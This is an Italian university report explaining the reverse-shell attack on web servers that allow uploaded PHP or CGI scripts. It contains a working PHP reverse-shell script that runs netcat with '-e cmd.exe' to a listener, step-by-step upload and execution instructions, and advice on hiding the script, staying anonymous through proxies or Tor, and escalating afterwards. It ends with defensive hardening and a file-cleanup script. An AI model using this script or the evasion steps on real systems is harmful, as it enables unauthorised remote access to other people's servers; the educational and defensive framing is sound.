Tecnica della Reverse Shell

Tecnica della Reverse Shell
Riccardo V. Vincelli 709588
r.vincelli@campus.unimib.it
L' obiettivo della relazione e' illustrare come
sia possibile, a patto di alcune assunzioni in
termini di sicurezza non troppo restrittive,
avere possibilita' d' esecuzione su un
webserver tramite la tecnica della shell
inversa.
La trattazione vuole essere anche
abbastanza pratica e rispecchia perlopiu'
fedelmente esperienze avute dall' autore.
1. Terminologia
Con il termine shell intendiamo
principalmente la seguente cosa: la
possibilita' di potere utilizzare un interprete
dei comandi testuale del sistema attaccato (il
programma comunemente detto shell
appunto), e quindi essere in grado di
eseguire comandi sulla stessa macchina

compromessa.
L' effettivo file eseguibile che l' attaccante
sceglie di utilizzare, dovrebbe essere uno sul
quale egli ha dimestichezza: mentre questo
discorso non ha troppo senso ad esempio
sui sistemi Windows, dove l' interprete dei
comandi e' fondamentalmente uno, il file
cmd.exe o command.com su sistemi datati,
sui sistemi Unix si hanno in genere vari
interpreti a disposizione e quindi la scelta
non e' indifferente, anche rispetto alle tracce
che l' attaccante stesso lascia: ad esempio la
bash (Bourne-Again SHell, evoluzione della
Bourne SHell) offre di default una
funzionalita' di cronologia dei comandi digitati
(salvati nel file .bash_history, visualizzabili
tramite il comando history e richiamabili
tramite !n, dove n e' il numero del comando
cosi' come appare nell' output di history) e
quindi, una volta disconnessi, un
amministratore di sistema puo' andare a
vedere, in teoria, scoperta la
compromissione, i comandi digitati che,
potenzialmente, possono anche tradire l'
attaccante; riprenderemo questo discorso

piu' avanti.
Una shell si puo' ottenere in molti modi, la
tecnica in esame non e' certamente la prima
ad essere stata pensata ne' sicuramente la
migliore.
La shell piu' ambita e', ovviamente, quella di
root/administrator, identificabile nella
stragrande maggioranza dei sistemi *nix dal
simbolo '#', ma non e' il nostro caso, almeno
nella tecnica della reverse shell cosi' com'e':
sarebbe potenzialmente possibile se, per
assurdo, il webserver fosse eseguito da root.
Con il verbo bucare intendiamo l' avere
accesso esecutivo effettivo ad un sistema,ad
esempio proprio avendo la possibilita' di una
shell.
Il termine puo' assumere significati affini, ma
raggiungere il "buco" puo' anche non
significare un qualcosa di troppo
straordinario: se infatti si riesce ad avere
possibilita' di esecuzione su una macchina
non troppo performante, ad esempio, una

che risulta essere spesso
irraggiungibile/sconnessa o con impedimenti
formali elevati, per esempio si hanno i
privilegi di un utente di comodo che non puo'
molto (vedi sotto), l' avere bucato un sistema
non e' cosa troppo gratificante per un
attaccante.
La parola bot (diminutivo di robot) intende un
programma automatico che, una volta
eseguito, non necessita stretta supervisione,
cioe' non necessita' di input utente, e fa un
qualcosa che l' attaccante reputa utile.
Possiamo avere molti tipi di bot: per
esempio, nel mondo di IRC (Internet Relay
Chat), in alcune situazioni dei programmi bot
sono utilizzati per mantenere il possesso di
una stanza di discussione, o ancora nei
giochi online modello client-server i bot
fungono da giocatori automatici o supervisori
della regolarita' del gioco stesso per evitare
che gli utenti usino trucchi e similia.
Un uso comune che si fa di una shell e'
proprio quello di installare, ed eseguire,

programmi del tipo. Cio' si lega
principalmente a due aspetti:
-il bot ha necessita' di essere sempre
connesso
-esistono provider che offrono possibilita' di
avere processi sempre in esecuzione e
sempre connessi, ma al giorno d' oggi quasi
nessuno di questi offre tale servizio
gratuitamente.
Quindi se il buco da' esito che si rivela
positivo, cioe' se l' attaccante si accorge di
avere in controllo una macchina
soddisfacente, una possibilita' e' certo quella,
se ne ha necessita', di installare suddetti bot.
Vantaggi in questo senso possono essere:
-l' amministratore non si accorge della
compromissione se non andando a dare un
occhiata ai processi in esecuzione (in *nix,
comando ps), o alle connessioni attive
(comandi netstat oppure sockstat) poiche' il
programma determina utilizzo di risorse
limitato ed e' silenzioso.
-l' attaccante risparmia qualche soldo poiche'
ottiene quello che dovrebbe pagare (anche
se non troppo, la media e' quella di 2.5$ a

processo in background e connesso, per la
durata di un mese) rivolgendosi a provider in
modo legale.
Le possibilita' di scenari bot-related sono
molte, e possono spingersi anche ad ipotesi
piu' marcatamente illegali anche se (forse?)
piu' rare (drone-botnet, sniffing ecc...)
2. Assunzioni/prerequisiti
Quello che dobbiamo avere e' possibilita' di
scrittura su una macchina che permetta di
eseguire da remoto degli script di un
linguaggio interpretato: nella pratica mi
rifaccio all' avere un account ftp su un
webserver che monti perl o php nel contesto
piu' ampio dello standard CGI (Common
Gateway Interface, un modo W3C-compliant
di gestire contenuti dinamici per siti web); il
sistema operativo dev' essere Windows o
Linux/*BSD (con buona approssimazione
anche altri sistemi unix non troppo desueti
possono andare).

Inutile dire che la possibilita' di scrittura puo'
essere legittima (nostro caso) o illegittima,
requisito minimo e' solo mettere gli script in
un luogo dove possano essere raggiunti ed
eseguiti dal webserver o meglio dall'
interprete (ad esempio mod_perl per il server
Apache).
Questo scenario, a pensarci bene, non e'
nulla di raro: provider come Aruba forniscono
per pochi euro un servizio di questo tipo su
base annuale ed al giorno d' oggi la
stragrande maggioranza dei siti internet di
privati e piccole-medie imprese sono operati
in questo od altri molto affini modi (non sto
citando nessuna fonte ma e' un fatto
abbastanza immediato a chi abbia un minimo
di dimestichezza nel campo).
Un altro prerequisito, banale, e' quello di
avere un web browser funzionante: per
fortuna per quel che ci interessa, non ci
serve altro che digitare un url ed attenderne l'
esecuzione (tanto per intenderci, anche un
browser come Lynx va piu' che bene, ma
assumiamo InternetExplorer).

Altri strumenti che ci servono sono un netcat
ed uno script per eseguire la shell
remotamente, ed un programma per
ricevere, localmente, la shell inviata da
remoto (a tal proposito utilizzo ancora
netcat).
Lo script scritto da me e' molto semplice, e
netcat e' un' utility free.
3. L' attacco
Lo schema dell' attacco e' abbastanza
semplice, ma potente:
1. Modificare lo script: la coppia
indirizzo:porta cui mandarla.
Attenzione se decidiamo di mandarla ad un
indirizzo riconducibile a noi! (es. il pc di
casa, molto riconducibile a noi direi)
2.Caricarlo (una cartella dove siamo sicuri
sia raggiungibile e' quella dove si trova
anche l' index o simili corrente)
3.Caricare netcat nello stesso luogo (netcat

emoto)
4.Mettere in ascolto il netcat locale sulla
coppia indirizzo:porta scritti nello script
5. Eseguire lo script tramite url
Attenzione se decidiamo di mandare la
richiesta da un indirizzo riconducibile a
noi! (es. non utilizzando proxy; ricordiamo
poi che browser come IE lasciano una
caterva di informazioni aggiuntive!)
6. Connettersi a dove abbiamo mandato la
shell.
Le istruzioni le ho riscritte in inglese nello
script stesso.
4. Esame dei passi
4.1. Script
Lo script fornito e' stato scritto pensando di
attaccare un server Windows, dove la
particolare scomodita' e' la presenza di un
interprete di default non avanzato che non
permette d' essere usato interattivamente da
remoto: questo ci costringe ad appoggiarci a
netcat anche per il lato server.

Ho conosciuto questa tecnica circa quattro
anni fa, presi dal sito
http://www.pentestmonkey.org degli script sia
in perl sia in php che fanno la stessa cosa
ma in modo piu' avanzato ed anche
sicuramente piu' fine: in particolare non ci si
appoggia a netcat per l' interattivita' ma all'
opzione -i delle shell redirigendo gli standard
input, output ed error su una socket tcp.
Ai tempi, per avere un' idea statistica di
massima, 4 su 5 server risultavano proni.
Riprovando oggi, la situazione e' inversa,
infatti l' idea di hardening rispetto alla
sicurezza degli script web e' cosa comune.
Codice:

http://joncraton.org/media/files/nc111nt
.zip
//-on the attacking host (your box or
one you control, whose ip is say
1.3.3.7)
// put netcat in listening mode on a
free port: nc -l -p 12345
// On Windows I noticed that binding to
a particular address is not working
// properly, so the command I suggest is
always fine.
//-upload the script:
// --you must upload it in a directory
url-reachable (ie from a browser)
// --it's necessary it supports script
execution too (ie cgi-bin)
//-upload netcat
//-execute the script (ie
http://example.com/cgiscript/script.php)
//-on the console you issued the
listening command,
// you should receive the desired shell.
//
//This script is lame and is intended
for spawning against a win box.
//If you want finer examples ncindependent
for the server side and
//unix-targeting check out
http://pentestmonkey.net/tools/phpreverse-shell/
//

Bugs:
//The "manual" is way longer than the
code itself
//
//Author:
//RVV - r.vincelli@campus.unimib.it
$shell = 'nc.exe -v -n 192.168.1.4 12345
-e cmd.exe';
exec($shell);
?>
Vedi "Esempio" per una dimostrazione dell'
attacco.
4.2. Caricamento
L' assunzione piu' comoda e' avere un
account ftp o similia per uppare lo script in
una directory raggiungibile dal webserver;
ovviamente in generale e' quest' ultimo punto
che ci interessa, non tanto come ci arriviamo
(ftp o altro).
Lo script e' un file php, testo quindi, e va
inviato in modalita' ascii pertanto. Non e'
generalmente necessario modificarne i
permessi, ma e' auspicabile modificarne il
nome in qualcosa che, se proprio non

inganni, quando lo legga, l' amministratore,
almeno non gli sia lampante quando ci mette
sopra gli occhi.
Torneremo sotto sui "tempi di sopravvivenza"
stimati di questo tipo di attacco.
4.3-4.4. Netcat
Netcat (nc) e' un' utility unix portata anche a
Windows soprannominata "coltellino svizzero
di Internet", ed a buon diritto: puo' essere
utilizzato in modo arbitrario come peer di una
connessione tcp o udp, permettendo cose
come modello client/server, trasferimento di
dati, client raw e molte altre. Nel nostro caso
ci limitiamo al comando per metterlo in
ascolto:
nc -l -p PORTA
dove PORTA dev' essere ovviamente quella
messa nello script.
In un sistema Windows la porta in uso non
dev' essere bloccata da firewall, in unix oltre
a questo dobbiamo utilizzare, se non root (e
veramente non ha senso che si sia loggati
root in una situazione del genere, e piu' in
generale ora non ha piu' senso essere
loggati come root, esistendo utility come

sudo) una porta piu' alta di 1024.
4.5. Esecuzione
L' esecuzione si riduce al digitare l'
opportuno url nel nostro browser di fiducia.
Come gia' notato quest' azione, assieme all'
utilizzo della shell ma anche maggiormente
rispetto questa, e' una con la quale riveliamo
un sacco di informazioni al webserver; non
volendo entrare nel merito di browser
particolari come detto sopra, la quantita' di
informazioni rilasciata puo' essere valutata
ad esempio all' indirizzo
http://mybrowserinfo.com/detail.asp ;
ricordando che tutti i webserver hanno una
minima logging capability abilitata di default,
e' un punto su cui proprio non possiamo
transigere.
Come noto, e' possibile utilizzare un proxy
per "nascondere" l' indirizzo del browser, ma
questa via non e' dopotutto il massimo
perche':
-non tutti i tipi di proxy sono anonimi (nel
senso che inoltrano si' la connessione da
parte nostra, ma comunicano la nostra
identita' al webserver o mantengono log dei

client che servono)
-di default, la funzionalita' di proxy dei
browser permette di utilizzarne uno solo alla
volta
-i proxy sono difficili da trovare: quelli che
veramente si rivelano funzionanti sono
solitamente pochi ed in posti esotici (e con
funzionanti intendiamo anche stabili, cioe'
presenti in rete almeno per 24 ore senza
troppa discontinuita'), nonche' subissati di
richieste (specie se appaiono in cima a varie
liste pubbliche come
http://www.samair.ru/proxy ); molti non sono
altro che computer (spesso pc domestici)
compromessi e suoi quali e' installata dal
trojan/bot di turno una funzionalita' proxy, o
tali in virtu' di misconfigurazioni/difetti di
software applicativo (o una combinazione dei
fattori: noto e' il binomio Sobig worm-
Wingate v5)
Un' alternativa sono fornitori di proxy/socks a
pagamento (ma non ha troppo senso!).
Un passo successivo in termini di ricerca d'
anonimato puo' essere l' onion routing
( http://www.torproject.org/index.html.it ).
Ovviamente modi piu' sofisticati, avendo a

disposizione macchine esterne cui non
siamo riconducibili (e che reputiamo
sufficientemente insicure o "distratte" in
termini di logging), sono sempre possibili:
una molto in voga qualche anno fa (o meglio
piu' di qualche anno fa) e' l' utilizzo di un
datapipe, ossia di un piccolo programmino, in
c o in perl solitamente, da eseguire sulla
macchina intermediaria con principalmente
tre argomenti: una porta locale su cui
ascoltare in tcp, una porta ed host remoto cui
mandare i dati ricevuti (una versione anche
interattiva si puo' trovare a
http://packetstormsecurity.org/groups/s0ftpj/p
ippa_v2.txt ).
4.6. Connettiamoci!
Il passo finale non e' altro che connetterci
dove abbiamo mandato la shell; se e' una
prova o se ci fidiamo ci connetteremo a noi
stessi. Pur essendo possibile riutilizzare
netcat, e' molto piu' comodo il noto telnet:
telnet e' un protocollo con i quali molti
smanettoni hanno sicuramente confidenza,
se non altro per azioni lamer ma sicuramente
didattiche come provare a mandarci una mail

anonima o connettercisi ad IRC.
5. Concretizzazione dell' attacco
Una volta dentro, dobbiamo decidere che
fare; in qualsiasi caso, ci deve guidare il
buonsenso.
Anzitutto, avremo poteri limitati: la shell avra'
i privilegi dell' utente che ha eseguito il
demone http: in unix e' solitamente un utente
di comodo (httpd, www, nobody ecc...), in
Windows ci possiamo aspettare un utente
non di default ma “sicuramente” non di livello
amministrativo.
Ricordiamo che oltre all' utilizzo di utenti di
comodo, altre configurazioni di sicurezza
adatte anche ad un ambiente DAC
(discretionary access control) possono
essere:
-chrooting: un' applicazione e' "bloccata" in
una sottodirectory, cioe' posta in un contesto
dove ha tutti i file necessari al suo
funzionamento sottoforma di hardlink ai file
effettivi, e copie dei device in caso
-jailing: sistema introdotto da FreeBSD che

prevede il partizionamento dell' os in vari
sottosistemi virtuali indipendenti
trasparentementemente all' utente.
Notiamo che tutti queste possibilita' sono un
qualcosa di nativo nei sistemi unix: per
questo e per altri motivi (es. multiutenza e
permessi stretti, paradigmi MAC-mandatory
access control), sono da reputarsi piu' sicuri:
semmai dubbi si possono avere circa la
facilita' nel configurare l' ambiente adatto, e
per sanare questo punto ci si puo' ad
esempio aiutare con wizard grafici e con un
approccio meno hardcore unix all' utilizzo dei
file di configurazione (la strada presa da Mac
OSX).
Buonsenso e' anche rendersi conto che,
comunque sia, danneggiare il sistema
cancellando file su cui si hanno permessi e'
deleterio: in prima battuta per una questione
morale (stiamo buttando via lavoro altrui) in
seconda per una pratica; un admin che si
accorge di essere stato "battuto" ma non
rileva danni, puo' pigramente prendere nota
dell' accaduto e dimenticarsene (ecco magari
non troppo pigramente, dovrebbe cercare di

capire come l' attaccante e' entrato!).
Ma nel caso in cui abbia problemi di sorta, ad
esempio un cliente del provider che possiede
il webserver si ritrova lo spazio web
interamente cancellato, inattivo per del
tempo, e la colpa finisce sull' admin, puo'
magari mettersi a spulciare, termine non
correttissimo visto che esiste software che
agevola il processo, i log di sistema e
provare a non farla passare liscia all'
attaccante.
Posto che non facciamo nessuna azione che
ci renda visibili (cancellazioni gratuite o
anche defacciamenti dei siti), ci chiediamo
ora come fare per rimanere piu' a lungo
possibile invisibili (o nascosti bene) agli occhi
dell' admin.
La tecnica della reverse shell dovrebbe
essere un punto di partenza e non di arrivo:
non abbiamo in casi normali grossi privilegi e
siamo dipendenti da uno script.
Settarlo nascosto e "nasconderlo" in
sottocartelle puo' aiutare, tutto dipende dalla
frequenza con cui il sito internet e'

aggiornato ma soprattutto da come: se per
assurdo il webmaster o chi per esso usano
solo cms (content management systems) e
non danno mai un occhio alla webroot per
esempio via ftp, ci sono buone possibilita'
per noi in questo senso, giusto per citare uno
scenario.
Se la vediamo appunto come partenza, il
passo successivo e' ottenere quel che
vogliamo dal sistema nel miglior modo
possibile; e con cio' comprendiamo un range
di possibilita' vasto, su cui soffermarsi
sarebbe troppo lungo: nascondiamo in /tmp
(dove sicuramente abbiamo accesso in
scrittura) il bot che vogliamo eseguire, o
iniziamo a cercare in rete un exploit locale
per ottenere la root?
In questa fase generalmente non possiamo
prescindere dal sistema in uso, in un livello di
dettaglio anche abbastanza alto: ad esempio
se siamo su una linux box a kernel x.y.z.-tu,
dobbiamo cercare un qualcosa
appositamente per quel kernel.
E' quasi impossibile trovare exploit potenti
locali che sfruttino componenti native del

sistema come kernel, librerie famose ecc;
paga molto di piu' cercare di isolare la
presenza di software applicativi particolari sul
sistema, ad esempio associati a servizi, e
cercare attacchi per questi. Meglio ancora se
proprietari o di vendor non famosissimi: in
questi casi il codice quasi sicuramente
chiuso facilita un eventuale successo.
Certo, se l' attaccante e' veramente di alto
livello, puo' contare sugli zeroday: ma questo
e' un altro discorso.
6. Cure e prevenzioni
Come d' obbligo, bisogna anche mettersi nei
panni dell' admin: poniamo che si accorga
della compromissione del sistema, cosa
dovrebbe fare?
La risposta e' valida in senso generale e
possiamo astrarla dall' attacco particolare
della reverse shell:
-cercare file e processi sospetti e cancellarli,
terminarli
-esaminare i log di sistema ed applicativi
-isolare le componenti che potrebbero
nascondere la falla

-documentarsi circa vulnerabilita' note su
queste (CVE, BugTraq, siti vendor ecc)
-confrontarsi con altri colleghi
-arrivare ad una soluzione
E' curioso come molte volte siano gli
attaccanti stessi a tendere una mano agli
amministratori di sistema suggerendo la
vulnerabilita' da essi sfruttata o addirittura
fornendo una patch.
Per le prevenzioni invece possiamo portarci
piu' nello specifico proprio rispetto alla
reverse shell; queste sono solo alcune delle
possibili vie.
6.1. Disabilitare gli interpreti in
questione/rinunciare alla common gateway
interface: se non c'e' modo di interpretare gli
script, essi ovviamente sono innocui; e' una
soluzione drastica che puo' non essere
accettabile se la tecnologia cgi e' parte
integrante dell' uso comune del nostro
webserver. Come abbiamo spesso riflettuto
in aula, una risposta del tipo e' una risposta
efficace ma e' un po' un' ultima spiaggia. Un'
altra soluzione molto piu' logica puo'

essere...
6.2....configurare opportunamente quel che
si puo' fare e non, in termini di script! Mi
rifaccio ad una situazione cgi su Apache:
Apache e' infatti il webserver piu' comune e
tra i piu' sicuri; analoghe prevenzioni si
possono avere sull' IIS di Microsoft, che sta
cercando di colmare il gap ma non puo' certo
contare su una community come quella di
Apache.
Abbiamo:
httpd.conf/.htaccess
httpd.conf e' il file di configurazione
principale di Apache, l' abilitazione ed il
settaggio del cgi passano da qui.
Possiamo permettere l' esecuzione di script
cgi (in un qualsiasi linguaggio adatto) in vari
modi:
-direttiva ScriptAlias: le directory che la
seguono sono indicate al server come le
uniche che in un url possono prevedere l'
interpretazione di uno script; se ad esempio
ho:
...

ScriptAlias /cgibin/
...
l' url
http://www.example.com/cgi-bin/test.pl
non determina una richiesta a buon fine dato
che la cartella non e' tra quelle indicate.
-direttiva Options:
...
Options +ExecCGI
...
che pero' richiede anche di specificare le
estensioni d' interesse (differentemente dal
modo con ScriptAlias che intende tutti i file
nelle directory specificate come potenziali
script):
...
AddHandler cgi-script .cgi .pl
...
Con queste indicazioni, evitando di lasciare
agli utenti cartelle abilitate agli script dove ne
possano mettere di loro, si raggiunge un
buon livello di sicurezza.
In caso in cui si voglia portare questo cgi

hardening ma non si abbia accesso al
httpd.conf, si possono utilizzare, nei limiti
definiti nel httpd.conf stesso, i file .htaccess,
che non sono altro che override di quest'
ultimo cui effetto e' sulla cartella in cui si
trovano e tutte le sottocartelle (ad esempio
ha senso metterne uno nella webroot).
6.3. Controllare i file caricati
E' possibile pensare ad un processo che
verifichi direttamente il contenuto dei file nell'
albero directory ed agisca di conseguenza:
se in una cartella mi aspetto solo immagini,
elimino i file che non lo sono; se in un' altra
mi aspetto solo codice html, non mi basta
verificare l' estensione, ma vado alla ricerca
di pattern (es. #!/usr/bin/perl) in base a cui
elimino file dannosi; e' possibile anche
pensare ad un report program.
Un semplice script del potente ambiente
shell puo' essere:
#!/bin/sh
while true;
do
for file in *
do
a=$(file $file)

=$file": PHP script text"
c=$file": perl script text executable"
if test "$a" = "$b"
then rm -f $file
elif test "$a" = "$c"
then rm -f $file
fi;
done
done
dove in pratica, per ogni file nella directory
dove lo script e' eseguito, se ne verifica il tipo
tramite l' utility file, e se e' di tipo php o perl,
lo si elimina; lo script e' semplice anche se
ha come punti delicati l' assegnamento dell'
output di un comando ad una variabile
(costrutto $(command)) e la concatenazione
di due stringhe (variabili $b e $c); attenzione
anche al quoting (utilizzando '' al posto di ""
abbiamo errore perche' le variabili non sono
valutate).
Lo script e' da posizionare nelle directory
sensibili; ovviamente si possono avere script
piu' complessi ad esempio che prendono l'
input delle estensioni trigger da un file e
controllano una lista di directory prefissata,
ecc. E' preferibile eseguirlo in background
(posponendo la &) e regolarne l' esecuzione
in startup (ad esempio via cron).

Non dimentichiamo che uno script del genere
puo' essere utilizzato anche su ambiente
Windows: essendo il batch scripting piu'
debole, si puo' talvolta pensare all' uso di
ambienti d' emulazione ad-hoc come
Cygwin.
6.4. Rinominare i file
Questo metodo e' abbastanza debole se
adottato in un sistema in cui l' utente
attaccante ha accesso di lettura e scrittura
pieno, ma buono se percaso l' utente puo'
solo fare upload senza avere la possibilita' di
vedere il contenuto della cartella dove carica
file; cambiando il nome dei file (es. attraverso
hashing), l' attaccante non sara' piu' in grado
di formulare un trigger url valido; non si
applica al nostro scenario dove abbiamo
assunto possibilita' ftp equivalenti.
7. Conclusioni
L' attacco della shell inversa ha sicuramente
una sua importanza didattica, poiche'
tocchiamo vari argomenti: dall' ambiente di
shell ai linguaggi di scripting.

In termini di efficacia effettiva non e' forse
esaltante: anche quando si riesca a caricare
con successo, ed a fare in modo che non
venga cancellato, nei limiti del possibile, lo
script, le incognite sono rappresentate dal
poter eseguire l' interprete dei comandi, ed il
doversi fermare, almeno in prima battuta, a
privilegi bassi.
Piu' in generale sfruttare l' "aiuto" degli
linguaggi interpretati e' una modalita' d'
attacco applicata anche sotto altri nomi, e
citiamo tra gli altri:
SQL injection: l' attacco consiste nel
presentare in una query sql dati arbitrari
opportunamente scritti. Scenario tipico e'
quello di un file html contenente il form ed un
file in un linguaggio interpretato (es. php)
incaricato di interfacciarsi col dbms per
inoltrare effettivamente l' interrogazione. In
caso di controlli deboli dal lato server, sono
possibili situazioni di autenticazione senza
credenziali ma sullo stesso paradigma e'
possibile pensare anche ad arrivare alla shell

se il dbms espone comandi opportuni (es.
"esegui comando locale").
La reverse shell e' attacco in linea generale
aperto se non ai lamer nella gerarchia degli
smanettoni, almeno ai kiddie: infatti le
conoscenze da avere sono veramente poche
ed il ritocco del codice banale (parametri
host e porta): script del tipo e' suggerito
modificarli leggermente (es. cancellazione d'
una parentesi) per scoraggiare proprio gli
utenti infimi prima di rilasciarli in the wild,
anche se solo come proof of concept, che in
fin dei conti non e' altro che termine
eufemismo per exploit.
8. Esempio
Provo ad instaurare l' attacco da macchina
Windows ad un' altra ancora Windows,
premettendo che sono entrambe mie,
collegate in lan in modo diretto.
L' ambiente web e' rappresentato, per quel
che c' interessa, dal server web Apache con

mod_php abilitato; in particolare per fare piu'
in fretta con la configurazione, ed anche
perche' e' solo un esempio, ho optato per
binari preconfigurati e precompilati con
IndigoAMPP della software house IndigoStar.
Inutile dire che scelte del tipo sono
fondamentalmente sbagliate nel caso dell'
allestimento di un server vero e proprio. La
documentazione ufficiale Apache poi e'
esauriente circa l' installazione del webserver
in ambiente Windows, anche se l' ambiente
di riferimento naturale e' certamente uno di
stampo unix.
La webroot; evidenziati i file d' attacco nc e
script:

In ascolto sulla macchina attaccante:

Esecuzione dello script:

La shell e' arrivata! Notiamo che l' ultimo
comando e' un comando dal basso
buonsenso!

9. Webografia/link utili
http://{en,it}.wikipedia.org
http://www.pentestmonkey.org
http://joncraton.org/files/nc111nt.zip
http://www.indigostar.com